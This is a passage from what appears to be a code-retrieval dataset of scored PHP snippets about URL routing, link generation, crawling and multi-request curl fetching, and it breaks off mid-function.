$kv[1];\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$_GET['params'.$p] = $kv[0];\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\r\n\t\t\t}elseif($options['site_urltype']==5){\r\n\t\t\t//http://localhost/group/topic/1\r\n\t\t\t\t$params = explode('/', $params);\r\n\t\t\t\t\r\n\t\t\t\tforeach( $params as $p => $v ){\r\n\t\t\t\t\tswitch($p){\r\n\t\t\t\t\t\tcase 0:$_GET['app']=$v;break;\r\n\t\t\t\t\t\tcase 1:$_GET['ac']=$v;\r\n\t\t\t\t\t\t\tif(empty($_GET['ac'])) $_GET['ac']='index';\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 2:\t\r\n\t\t\t\t\t\t\tif(((int) $v)>0){\r\n\t\t\t\t\t\t\t\t$_GET['id']=$v;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t//处理TAG\r\n\t\t\t\t\t\t\tif($_GET['ac']=='tag'){\r\n\t\t\t\t\t\t\t\t$_GET['id']=$v;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t$_GET[$v]=$params[$p+1];\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\r\n\t\t\t}elseif($options['site_urltype']==6){\r\n\t\t\t//http://localhost/group/topic/id/1\r\n\t\t\t\t$params = explode('/', $params);\r\n\t\t\t\t\r\n\t\t\t\tforeach( $params as $p => $v ){\r\n\t\t\t\t\tswitch($p){\r\n\t\t\t\t\t\tcase 0:$_GET['app']=$v;break;\r\n\t\t\t\t\t\tcase 1:$_GET['ac']=$v;break;\r\n\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t$_GET[$v]=$params[$p+1];\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}elseif($options['site_urltype']==7){\r\n\t\t\t//http://localhost/group/topic/1/\r\n\t\t\t\t$params = explode('/', $params);\r\n\t\t\t\t\r\n\t\t\t\tforeach( $params as $p => $v ){\r\n\t\t\t\t\tswitch($p){\r\n\t\t\t\t\t\tcase 0:$_GET['app']=$v;break;\r\n\t\t\t\t\t\tcase 1:$_GET['ac']=$v;\r\n\t\t\t\t\t\t\tif(empty($_GET['ac'])) $_GET['ac']='index';\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 2:\t\r\n\t\t\t\t\t\t\tif(((int) $v)>0){\r\n\t\t\t\t\t\t\t\t$_GET['id']=$v;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t//处理TAG\r\n\t\t\t\t\t\t\tif($_GET['ac']=='tag'){\r\n\t\t\t\t\t\t\t\t$_GET['id']=$v;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t$_GET[$v]=$params[$p+1];\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}else{\r\n\t\t\t\r\n\t\t\t\t$params = explode('/', $params);\r\n\t\t\t\t\r\n\t\t\t\tforeach( $params as $p => $v ){\r\n\t\t\t\t\tswitch($p){\r\n\t\t\t\t\t\tcase 0:$_GET['app']=$v;break;\r\n\t\t\t\t\t\tcase 1:$_GET['ac']=$v;break;\r\n\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t$kv = explode('-', $v);\r\n\t\t\t\t\t\t\tif(count($kv)>1){\r\n\t\t\t\t\t\t\t\t$_GET[$kv[0]] = $kv[1];\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$_GET['params'.$p] = $kv[0];\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "de672acd36367a01d2589a9d83df693b", "score": "0.5499325", "text": "public function urls(): array\n {\n return $this->cache['urls'] ??= [\n 'index' => function () {\n return Url::index();\n },\n 'base' => function (array $urls) {\n return rtrim($urls['index'], '/');\n },\n 'current' => function (array $urls) {\n $path = trim($this->kirby->path(), '/');\n\n if (empty($path) === true) {\n return $urls['index'];\n } else {\n return $urls['base'] . '/' . $path;\n }\n },\n 'assets' => function (array $urls) {\n return $urls['base'] . '/assets';\n },\n 'api' => function (array $urls) {\n return $urls['base'] . '/' . $this->kirby->option('api.slug', 'api');\n },\n 'media' => function (array $urls) {\n return $urls['base'] . '/media';\n },\n 'panel' => function (array $urls) {\n return $urls['base'] . '/' . $this->kirby->option('panel.slug', 'panel');\n }\n ];\n }", "title": "" }, { "docid": "f5852282ae4b8e3827fa6394c0ae6399", "score": "0.54840016", "text": "function subPagesToCache() {\n $urls = array();\n \n // add current page\n $urls[] = $this->AbsoluteLink();\n \n // cache the RSS feed if comments are enabled\n if ($this->ProvideComments) {\n $urls[] = Director::absoluteBaseURL() . \"pagecomment/rss/\" . $this->ID;\n }\n \n return $urls;\n }", "title": "" }, { "docid": "da77560c979cad8b32592dae980275fd", "score": "0.54647857", "text": "function add_link($array,$name=\"\",$url=\"\",$extra='',$id=0,$target=\"_self\",$type='normal',$content='') {\n\tglobal $$array;\n\tif ($type == \"page\" || $type == \"link\") {\n\t\t$type = 'normal';\n\t}\n\tarray_push($$array,array(\"type\"=>$type,\"name\"=>$name,\"url\"=>$url,\"extra\"=>$extra,\"id\"=>$id,\"target\"=>$target,\"content\"=>$content));\n//\treturn $array;\n}", "title": "" }, { "docid": "d6b88ea14eafb03e8221252940058baa", "score": "0.5458151", "text": "abstract function getUrns();", "title": "" }, { "docid": "56f2938778ae90329f4012316557ef54", "score": "0.54579633", "text": "function links() {\n return array(\n\n );\n }", "title": "" }, { "docid": "d04eccf03900ec136eb7871ed2b831ba", "score": "0.54549444", "text": "public function set_feed_url($url)\n\t{\n\t\t$this->multifeed_url = array();\n\t\tif (is_array($url))\n\t\t{\n\t\t\tforeach ($url as $value)\n\t\t\t{\n\t\t\t\t$this->multifeed_url[] = $this->registry->call('Misc', 'fix_protocol', array($value, 1));\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->feed_url = $this->registry->call('Misc', 'fix_protocol', array($url, 1));\n\t\t}\n\t}", "title": "" }, { "docid": "83a3528d44851ab19155737fec05c505", "score": "0.5446327", "text": "function links()\n {\n return array();\n }", "title": "" }, { "docid": "fa727efe5161ff644cfd96e314a06e2c", "score": "0.54449666", "text": "public function resolveLanguageAndWebsite()\n {\n foreach (\\Yii::$app->multiSiteCore->websites as $websiteKey => $websiteData) {\n $masterLanguage = $websiteData['masterLanguage'];\n foreach ($websiteData['domains'] as $domain => $lang) {\n if (preg_match(\"@(https?://)$domain@\", $this->request->getAbsoluteUrl(), $matches)) {\n $this->websiteContentTree = ContentTree::findClean()\n ->byTableName(ContentTree::TABLE_NAME_WEBSITE)\n ->byKey($websiteKey)\n ->one();\n if (!$this->websiteContentTree) {\n throw new InvalidCallException(\"Current website does not exist\");\n }\n $this->websiteMasterLanguage = $masterLanguage;\n $this->defaultContentId = $websiteData['defaultContentId'];\n $this->defaultContent = ContentTree::find()->byId($this->defaultContentId)->one();\n\n if (!$this->defaultContent) {\n throw new InvalidCallException(\"Default Content for website \\\"$websiteKey\\\" does not exist\");\n }\n $this->language = $lang;\n $this->websiteLanguages = $this->getWebsiteLanguages($websiteKey);\n $shortCode = LanguageHelper::convertLongCodeIntoShort($this->language);\n if (strpos($domain, '/') !== false\n && ( substr($domain, strpos($domain, '/') + 1) === $lang || $shortCode )) {\n $this->hasLanguageInUrl = true;\n }\n $frontendHost = ArrayHelper::getValue($websiteData, 'frontendHost');\n if (!$frontendHost) {\n \\Yii::warning(\"\\\"frontendHost\\\" does not exist for website \\\"$domain\\\"\");\n $frontendHost = $domain;\n }\n\n \\Yii::setAlias('@frontendUrl', $matches[1] . $frontendHost);\n \\Yii::$app->urlManagerFrontend->setHostInfo(\\Yii::getAlias('@frontendUrl'));\n $this->setHomeUrl($matches[1] . $domain);\n $storageUrl = ArrayHelper::getValue($websiteData, 'storageUrl', \\Yii::getAlias('@frontendUrl') . \"/storage/web\");\n \\Yii::setAlias('@storageUrl', $storageUrl);\n break;\n }\n }\n if ($this->websiteContentTree) {\n break;\n }\n }\n if (!$this->websiteContentTree) {\n throw new Exception(\"Current domain is not added in domain list in multisite config\");\n }\n }", "title": "" }, { "docid": "b5c62fb3f62e69dea15e4ac170fe7303", "score": "0.54420495", "text": "public static function navLinks()\n\t{\n\t\tif (self::$nbImages < 2)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tself::$navLinks['next_active'] = TRUE;\n\t\tself::$navLinks['next_inactive'] = FALSE;\n\t\tself::$navLinks['prev_active'] = TRUE;\n\t\tself::$navLinks['prev_inactive'] = FALSE;\n\t\tself::$navLinks['first_link'] = '';\n\t\tself::$navLinks['prev_link'] = '';\n\t\tself::$navLinks['last_link'] = '';\n\t\tself::$navLinks['next_link'] = '';\n\n\t\t$cat_url = (self::$catInfos['cat_id'] == 1)\n\t\t\t? __('galerie')\n\t\t\t: self::$catInfos['cat_url'];\n\t\t$cat_url = self::$catInfos['cat_id'] . '-' . $cat_url;\n\n\t\t$section_url = '';\n\t\tif (isset($_GET['section_b']))\n\t\t{\n\t\t\tswitch ($_GET['section_b'])\n\t\t\t{\n\t\t\t\tcase 'basket' :\n\t\t\t\t\t$section_url .= '/basket';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'camera-brand' :\n\t\t\t\t\t$section_url .= '/' . $_GET['section_b'] . '/' . $_GET['camera_id']\n\t\t\t\t\t\t. '-' . gallery::$cameraInfos['camera_brand_name'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'camera-model' :\n\t\t\t\t\t$section_url .= '/' . $_GET['section_b'] . '/' . $_GET['camera_id']\n\t\t\t\t\t\t. '-' . gallery::$cameraInfos['camera_model_name'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'date-added' :\n\t\t\t\tcase 'date-created' :\n\t\t\t\t\t$section_url .= '/' . $_GET['section_b'] . '/' . $_GET['date'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'user-favorites' :\n\t\t\t\tcase 'user-images' :\n\t\t\t\t\t$section_url .= '/' . $_GET['section_b'] . '/' . $_GET['user_id'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'tag' :\n\t\t\t\t\t$section_url .= '/' . $_GET['section_b'] . '/' . $_GET['tag_id']\n\t\t\t\t\t\t. '-' . tags::$tagInfos['tag_name'];\n\t\t\t\t\tbreak;\n\n\t\t\t\tdefault :\n\t\t\t\t\t$section_url .= '/' . $_GET['section_b'] . '/' . $cat_url;\n\t\t\t}\n\t\t}\n\n\t\tif (isset($_GET['section_c']))\n\t\t{\n\t\t\tswitch ($_GET['section_c'])\n\t\t\t{\n\t\t\t\tdefault :\n\t\t\t\t\t$section_url .= '/' . $_GET['section_c'] . '/' . $cat_url;\n\t\t\t}\n\t\t}\n\n\t\tif (isset($_GET['search']))\n\t\t{\n\t\t\t$section_url .= '/search/' . $_GET['search'];\n\t\t}\n\n\t\tfor ($i = 0, $count = self::$nbImages; $i < $count; $i++)\n\t\t{\n\t\t\tif ($_GET['image_id'] == self::$images[$i]['image_id'])\n\t\t\t{\n\t\t\t\tif ($i == 0)\n\t\t\t\t{\n\t\t\t\t\tself::$navLinks['prev_active'] = FALSE;\n\t\t\t\t\tself::$navLinks['prev_inactive'] = TRUE;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tself::$navLinks['first_link'] =\n\t\t\t\t\t\tutils::genURL('image/' . self::$images[0]['image_id']\n\t\t\t\t\t\t. '-' . self::$images[0]['image_url']\n\t\t\t\t\t\t. $section_url);\n\t\t\t\t\tself::$navLinks['prev_link'] =\n\t\t\t\t\t\tutils::genURL('image/' . self::$images[$i - 1]['image_id']\n\t\t\t\t\t\t. '-' . self::$images[$i - 1]['image_url']\n\t\t\t\t\t\t. $section_url);\n\t\t\t\t}\n\t\t\t\tif ($i == self::$nbImages - 1)\n\t\t\t\t{\n\t\t\t\t\tself::$navLinks['next_active'] = FALSE;\n\t\t\t\t\tself::$navLinks['next_inactive'] = TRUE;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tself::$navLinks['next_link'] =\n\t\t\t\t\t\tutils::genURL('image/' . self::$images[$i + 1]['image_id']\n\t\t\t\t\t\t. '-' . self::$images[$i + 1]['image_url']\n\t\t\t\t\t\t. $section_url);\n\t\t\t\t\tself::$navLinks['last_link'] =\n\t\t\t\t\t\tutils::genURL('image/' . self::$images[self::$nbImages - 1]['image_id']\n\t\t\t\t\t\t. '-' . self::$images[self::$nbImages - 1]['image_url']\n\t\t\t\t\t\t. $section_url);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "d0812c821f768781a767400c97d294bd", "score": "0.54349476", "text": "public function getArticleLinks(): array;", "title": "" }, { "docid": "dd71f36fcaab963b1155c926672f0dd5", "score": "0.54336745", "text": "private function getReservedUrls() {\n\t\t// Get all real directories.\n\t\tforeach (FileSystem::glob(AM_BASE_DIR . '/*', GLOB_ONLYDIR) as $dir) {\n\t\t\t$this->reservedUrls[] = '/' . basename($dir);\n\t\t}\n\n\t\t// Add the UI URL if enabled.\n\t\tif (AM_PAGE_DASHBOARD) {\n\t\t\t$this->reservedUrls[] = AM_PAGE_DASHBOARD;\n\t\t}\n\n\t\tDebug::log($this->reservedUrls);\n\t}", "title": "" }, { "docid": "9b631ec4b13266f76ad8d29c84e205b9", "score": "0.54294485", "text": "private function initializeCURL(){\n\t\t\t$urls = $this->validateURL();\n\t\t\t// Initialize, execute and close the curl session+\n\t\t\t$ch = array();\n\t\t\t$mh = curl_multi_init();\n\t\t\t\n\t\t\t$i = 0;\n\t\t\tforeach ($urls as $url) {\n\t\t\t\t$ch[$i] = curl_init();\n\t\t\t\t\n\t\t\t\tcurl_setopt_array(\n\t\t\t\t\t$ch[$i], \n\t\t\t\t\tarray(\n\t\t\t\t\t\tCURLOPT_URL => $url,\n\t\t\t\t\t\tCURLOPT_USERAGENT => \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",\n\t\t\t\t\t\tCURLOPT_FOLLOWLOCATION => true,\n\t\t\t\t\t\tCURLOPT_COOKIESESSION => true,\n\t\t\t\t\t\tCURLOPT_RETURNTRANSFER => true,\n\t\t\t\t\t\tCURLOPT_SSL_VERIFYPEER => false,\n\t\t\t\t\t\tCURLOPT_REFERER => $url,\n\t\t\t\t\t\tCURLOPT_VERBOSE => true\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\tcurl_multi_add_handle($mh, $ch[$i]);\n\n\t\t\t\t$i++;\n\t\t\t}\n\n\t\t\t$active = null;\n\n\t\t\tdo {\n\t\t\t\tcurl_multi_exec($mh, $active);\n\t\t\t} while ($active);\n\n\t\t\t$webpages = array();\n\n\t\t\t$a = 0;\n\t\t\tforeach ($ch as $ch) {\n\t\t\t\t$webpages[$a] = curl_multi_getcontent($ch);\n\t\t\t\tcurl_multi_remove_handle($mh, $ch);\n\t\t\t\t$a++;\n\t\t\t}\n\n\t\t\tcurl_multi_close($mh);\n\n\t\t\treturn $webpages;\n\t\t}", "title": "" }, { "docid": "f6c45a7d90a11691b78d1bd2055ee9b1", "score": "0.54287446", "text": "static function parse($url){\n $url = explode(\"|\", urldecode($url), 2) + array(null, null);\n $href_ks = htmlspecialchars($url[0],ENT_QUOTES,'UTF-8');\n preg_match_all(\"#/([^/]+)(?://([^/]*))?#\", $href_ks, $url_tree, PREG_SET_ORDER);\n\n if(!$url_tree) //FALLBACK si url = '/'\n $url_tree= array(array(1=>SITE_BASE));\n //rajout systematique d'une feuille pour ne pas finir sur un noeud\n $url_tree[] = array();\n\n $result_path = array();\n\n $subs_path = ROOT_PATH.\"/subs\";\n $subs_fold = \"\";\n $href_fold = \"\";\n $href_base = \"\";\n\n $zero_args = self::parse_args(substr($href_ks, 0,strcspn($href_ks, \"/\")));\n $result_path[] = array($subs_path, $subs_fold, \"main\", $zero_args);\n\n $value = $url[1];\n foreach($url_tree as $tmp){\n $tmp += array(null, null, null);\n list($node_name, $args_str) = array($tmp[1],$tmp[2]);\n $args = self::parse_args($args_str);\n\n //sanitize all malicious attempts '/Admin/../config...'\n if(preg_match(\"#[.]#\",$node_name) || $node_name==\"main\")\n return self::parse('/');\n\n $href_key = \"$subs_fold/$node_name\";\n\n $tmp_path = self::resolve($subs_fold, $node_name, $subs_path);\n\n //on s'arrete si l'on est plus dans un noeud\n if(!$node_name || !is_dir($tmp_path))\n break;\n\n //on ne modifie le path que si l'on est dans un noeud\n $subs_path = $tmp_path;\n\n $subs_fold .= \"/$node_name\";\n if($href_base) $href_fold = $href_base;\n $href_fold.=\"/$node_name\";\n\n $result_path[] = array(\n $subs_path,\n $subs_fold,\n \"main\",\n $args,\n $href_fold,\n $href_base = $args_str?\"$href_fold//$args_str\":$href_fold //cosmetique\n );\n }\n\n $href = \"$href_base/$node_name\";\n //si on a pas fini sur une feuille, utilisation de feuille par default\n if(!$node_name)\n $node_name = &exyks::$page_def;\n\n $result_path[] = array($subs_path, $subs_fold, &$node_name, $args, $href_fold, $href_base);\n\n /* $result_path, $href, $href_ks, $context_depths */\n $res = array($result_path, $href, $href_ks, count($result_path) - 1, $value);\n return $res;\n }", "title": "" }, { "docid": "a4bf333c9fb4fba71f420e51b46f7311", "score": "0.5426866", "text": "public function getUrlOptions(): array;", "title": "" }, { "docid": "84cae11027ca62a9d1413edfe82e732f", "score": "0.54202884", "text": "function compendium_images_assemble_links( string $page_list ,\n bool $shorten = false ,\n string $format = 'html' ) : array\n{\n // Split the page list\n $page_list_array = explode(\"|||\", $page_list);\n\n // Format the page list for usage in regular pages\n if($format === 'html')\n {\n $formatted_page_list = '';\n for($i = 0; $i < count($page_list_array); $i++)\n {\n if(!($i % 2) && isset($page_list_array[$i + 1]))\n {\n $short_name = ($shorten) ? string_truncate($page_list_array[$i + 1], 18, '...') : $page_list_array[$i + 1];\n $formatted_page_list .= __link('pages/compendium/'.$page_list_array[$i], sanitize_output($short_name)).'<br>';\n }\n }\n\n // Add the formatted page list and the page count to the returned data\n $data['list'] = $formatted_page_list;\n $data['count'] = ($i) ? floor($i / 2) : 0;\n }\n\n // Format the page list for usage in the API\n if($format === 'api')\n {\n $page_list_count = 0;\n for($i = 0; $i < count($page_list_array); $i++)\n {\n if(!($i % 2) && isset($page_list_array[$i + 1]))\n {\n $data[$page_list_count]['name'] = $page_list_array[$i + 1];\n $data[$page_list_count]['url'] = $page_list_array[$i];\n $page_list_count++;\n }\n }\n $data['count'] = $page_list_count;\n }\n\n // Return the formatted page list\n return $data;\n}", "title": "" }, { "docid": "0d57592df5044d8c7eb0bcd641acadf9", "score": "0.5412575", "text": "function getUrl($buffer,$forbidden_types,$forbidden_strings) {\r\n\tglobal $_POST, $stack;\r\n\t$website = JRequest::getVar( 'http_host', 'none', 'POST', 'STRING', JREQUEST_ALLOWHTML );\r\n\t$web=parse_url($website);\r\n\t(strtolower(substr($web['host'],0,4))==\"www.\")?$web['host']=substr($web['host'],4):null;\r\n\r\n\t/*if(substr($website,-1)==\"/\") $website=substr($website,0,-1);\r\n\tif(substr($web['path'],-1)==\"/\") $web['path']=substr($web['path'],0,-1);*/\r\n\t\r\n\t$tmparray=array();\r\n\t\tforeach ($buffer as $key) {\r\n\t\t\tif ($web['scheme'].\"://www.\".$web['host'].\"/\"==$key or $web['scheme'].\"://\".$web['host'].\"/\"==$key){\r\n\t\t\t\t$key=$website; \r\n\t\t\t}\r\n\t\t\tif(strtolower(substr($key,0,4))!=\"http\"){\r\n\t\t\t\t// slash management\r\n\t\t\t\tif(substr($key,0,1)==\"/\" and substr($website,-1)==\"/\" ){\r\n\t\t\t\t\t$key=substr($key,1);\r\n\t\t\t\t\t//print $key.\"<br>\";\r\n\t\t\t\t}\r\n\t\t\t\t// $website: support-masters.ch/\r\n\t\t\t\t($web['path']!=\"\" and $web['path']!=\"/\")?$key=substr($website,0,strpos($website,$web['path'])).$key:$key=$website.$key;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t//print_r($web['scheme'].\"://(.*?)\\.\".$web['host']); die();\r\n\t\t\t$key=preg_replace(array('/([\\?&]PHPSESSID=\\w+)$/i','/(#[^\\/]*)$/i', '/&amp;/','/^(javascript:.*)|(javascript:.*)$/i'),array('','','&','',''),$key);\r\n\t\t\t$suchmuster=\"/\".$web['scheme'].\":\\/\\/(.*?)\".$web['host'].str_replace('/','\\/',$web['path']).\"/\";\r\n\t\t\tpreg_match($suchmuster,$key,$treffer);\r\n\t\t\t\r\n\t\t\t$key=myUrlcode(trim(relative2absolute($website,$key)));\r\n\t\t\t//print $key.\"\\n\";\r\n\t\t\t/* todo add url from Location: header tag without any check */\r\n\t\t\t\r\n\t\t\t//&& fl_begins($key,$treffer)==true\r\n\t\t\t\r\n\t\t\tif(!in_array($key,$tmparray) && !in_array($key,$stack) && count($treffer)>0 && fl_contains($key, $forbidden_strings)==false && in_array(substr($key,strrpos($key,\".\")),$forbidden_types)===false){\r\n\t\t\t\t//$key=trim(str_replace(\"&amp;\",\"&\",$key));\r\n\t\t\t\t//print trim(myUrlcode($key)).\"<br>\";\r\n\t\t\t\t$tmparray[]=$key;\r\n\t\t\t}\r\n\t\t\tunset($key,$treffer);\r\n\t\t} //endforeach\r\n\t\tunset($buffer);\r\n\t\t\r\n\treturn $tmparray;\r\n}", "title": "" }, { "docid": "be5e6f527fe0245608b2d5204b86ddf8", "score": "0.54106", "text": "function reverseLinks() {\n return array(\n\n );\n }", "title": "" }, { "docid": "be5e6f527fe0245608b2d5204b86ddf8", "score": "0.54106", "text": "function reverseLinks() {\n return array(\n\n );\n }", "title": "" }, { "docid": "c92f441d8c5840a726d4b962761681d0", "score": "0.5410309", "text": "function makeLinks($linkArray)\r\n{\r\n $myReturn = '';\r\n\r\n foreach($linkArray as $url => $text)\r\n {\r\n if($url == THIS_PAGE)\r\n {//selected page - add class reference\r\n $myReturn .= '<li><a class=\"selected\" href=\"' . $url . '\">' . $text . '</a></li>' . PHP_EOL;\r\n }else{\r\n $myReturn .= '<li><a href=\"' . $url . '\">' . $text . '</a></li>' . PHP_EOL;\r\n }\r\n }\r\n\r\n return $myReturn;\r\n\r\n}", "title": "" }, { "docid": "7a0e6d40ebb4413098d74afd60b83576", "score": "0.54086643", "text": "private function preparePostUrls() {\n $postUrlData = $this->extractValuesForSelectorSetting($this->crawler,SettingKey::CATEGORY_POST_LINK_SELECTORS, 'href', 'url', false, true);\n if (!$postUrlData) return;\n\n // Flatten the array with depth of 1 because the return value is array of arrays of items. We need array of items.\n $postUrlData = array_flatten($postUrlData, 1);\n\n // Make relative URLs direct\n foreach($postUrlData as &$mPostUrl) {\n\n try {\n $mPostUrl[\"data\"] = $this->resolveUrl($mPostUrl[\"data\"]);\n\n } catch (Exception $e) {\n // Nothing to do here. This is a very unlikely situation, since $url exists when this method\n // is called.\n Informer::addError(_wpcc('URL could not be resolved') . ' - ' . $mPostUrl[\"data\"])->addAsLog();\n }\n }\n\n $this->categoryData->setPostUrls($postUrlData);\n }", "title": "" }, { "docid": "a7a08a738c176ee9f9638ffdb6145692", "score": "0.54085433", "text": "function setup_site_urls() {\n\t\tif ( get_option( 'show_on_front' ) == 'page' ) {\n\t\t\t$this->links[] = get_permalink( get_option( 'page_for_posts' ) );\n\t\t} else {\n\t\t\t$this->links[] = home_url();\n\t\t}\n\n\t\tforeach ( $this->feeds as $feed ) {\n\t\t\t$this->links[] = get_feed_link( $feed );\n\t\t}\n\t}", "title": "" }, { "docid": "3cfbc6ec48c379b69bc0cbf27963acc9", "score": "0.54084617", "text": "private function generateTags() {\n $href = array();\n $href['page'] = $this->_href[0];\n array_shift($this->_href);\n foreach ($this->_href as $key => $value) {\n $href[$key] = $value;\n }\n $href = http_build_query($href);\n \n $tags = array();\n $tags['href'] = \"index.php?\".$href;\n foreach ($this->_params as $key => $value) {\n $tags[$key] = $value;\n }\n \n return $tags;\n }", "title": "" }, { "docid": "033397ce9e8edc4d249cf8de9fc4c6bb", "score": "0.540456", "text": "function multi_request_org($urls, $vars){\r\n\t$options = array();\r\n\tforeach($urls as $url){\r\n\t\t$parsed_url = parse_url($url);\r\n\t\t$options[$parsed_url[host]] = array(\r\n\t\t\tCURLOPT_URL => $url,\t\t\t\t\t// the URL adress\t\t\t\r\n\t\t\tCURLOPT_RETURNTRANSFER => true, // return web page \r\n\t\t\tCURLOPT_HEADER => false, // don't return headers \r\n\t\t\tCURLOPT_FOLLOWLOCATION => false, // follow redirects \r\n\t\t\tCURLOPT_ENCODING => \"\", // handle all encodings \r\n\t\t\tCURLOPT_USERAGENT => \"zhasta16\", // who am i \r\n\t\t\tCURLOPT_AUTOREFERER => true, // set referer on redirect \r\n\t\t\tCURLOPT_CONNECTTIMEOUT => 2, \t// timeout on connect \r\n\t\t\tCURLOPT_TIMEOUT => 2, \t// timeout on response \r\n\t\t\tCURLOPT_MAXREDIRS => 1, \t// stop after 3 redirects\r\n\t\t\tCURLOPT_HTTPHEADER, array('Content-Type: text/xml'),\t// post as xml file format\r\n\t\t\tCURLOPT_POST => 1, // sending POST data\r\n\t\t\tCURLOPT_POSTFIELDS => $vars,\t // POST vars \r\n\t\t\tCURLOPT_SSL_VERIFYHOST => 0, // don't verify ssl \r\n\t\t\tCURLOPT_SSL_VERIFYPEER => false, // \r\n\t\t\tCURLOPT_VERBOSE => 1 // \r\n\t\t);\r\n\t}\r\n\t\r\n\t$ch_multi = curl_multi_init();\r\n\t$chs = array();\r\n\tforeach($options as $key => $option){\r\n\t\t$chs[$key] = curl_init();\r\n\t\tcurl_setopt_array($chs[$key], $option);\r\n\t\tcurl_multi_add_handle($ch_multi, $chs[$key]);\r\n\t}\r\n\t\r\n\t$active = 1;\r\n\twhile($active) {\r\n\t\t$mrc = curl_multi_exec($ch_multi, $active);\r\n\t}\r\n\t\r\n\t$results = array();\r\n\tforeach($options as $key => $option){\r\n\t\t$content = curl_multi_getcontent($chs[$key]);\r\n\t\t\r\n\t\tif($content != null){\r\n\t\t\t$results[$key] = $content;\r\n\t\t}\r\n\t\tcurl_multi_remove_handle($ch_multi, $chs[$key]);\r\n\t}\r\n\tcurl_multi_close($ch_multi);\r\n\t\r\n\treturn $results;\r\n}", "title": "" }, { "docid": "649a19c99526550e83f9014a56d6e134", "score": "0.5393113", "text": "private static function recalculateSeoUrls()\n {\n $list = oxNew('oxlist');\n $list->init('oxarticle');\n $list->selectString('select * from oxarticles');\n\n foreach ($list as $article) {\n $article->save();\n }\n \n $list = oxNew('oxlist');\n $list->init('oxcategory');\n $list->selectString('select * from oxcategories');\n\n foreach ($list as $cat) {\n $cat->save();\n }\n \n $list = oxNew('oxlist');\n $list->init('oxcontent');\n $list->selectString('select * from oxcontents');\n\n foreach ($list as $content) {\n $content->save();\n }\n }", "title": "" }, { "docid": "9c53d65c1ba1c6938387974d0fad4392", "score": "0.5387627", "text": "function makeLinks($linkArray)\r\n{\r\n $myReturn = '';\r\n\r\n foreach($linkArray as $url => $text)\r\n {\r\n if($url == THIS_PAGE)\r\n {//selected page - add class reference\r\n\t \t$myReturn .= '<li><a class=\"selected\" href=\"' . $url . '\">' . $text . '</a></li>' . PHP_EOL;\r\n \t}else{\r\n\t \t$myReturn .= '<li><a href=\"' . $url . '\">' . $text . '</a></li>' . PHP_EOL;\r\n \t} \r\n }\r\n \r\n return $myReturn; \r\n}", "title": "" }, { "docid": "92a6ebac05a2686318d09c6d6ea5833d", "score": "0.5379896", "text": "function my_Create_Links()\n\t{\n\t\t$data = array();\n\t\t$elements = array();\n\t\t$j = 1;\n\t\t// If our item count or per-page total is zero there is no need to continue.\n\t\t// Note: DO NOT change the operator to === here!\n\t\tif ($this->total_rows == 0 OR $this->per_page == 0)\n\t\t{\n\t\t\treturn '';\n\t\t}\n\n\t\t// Calculate the total number of pages\n\t\t$num_pages = (int) ceil($this->total_rows / $this->per_page);\n\n\t\t// Is there only one page? Hm... nothing more to do here then.\n\t\tif ($num_pages === 1)\n\t\t{\n\t\t\treturn '';\n\t\t}\n\n\t\t// Check the user defined number of links.\n\t\t$this->num_links = (int) $this->num_links;\n\n\t\tif ($this->num_links < 0)\n\t\t{\n\t\t\tshow_error('Your number of links must be a non-negative number.');\n\t\t}\n\n\t\t// Keep any existing query string items.\n\t\t// Note: Has nothing to do with any other query string option.\n\t\tif ($this->reuse_query_string === TRUE)\n\t\t{\n\t\t\t$get = $this->CI->input->get();\n\n\t\t\t// Unset the controll, method, old-school routing options\n\t\t\tunset($get['c'], $get['m'], $get[$this->query_string_segment]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$get = array();\n\t\t}\n\n\t\t// Put together our base and first URLs.\n\t\t// Note: DO NOT append to the properties as that would break successive calls\n\t\t$base_url = trim($this->base_url);\n\t\t$first_url = 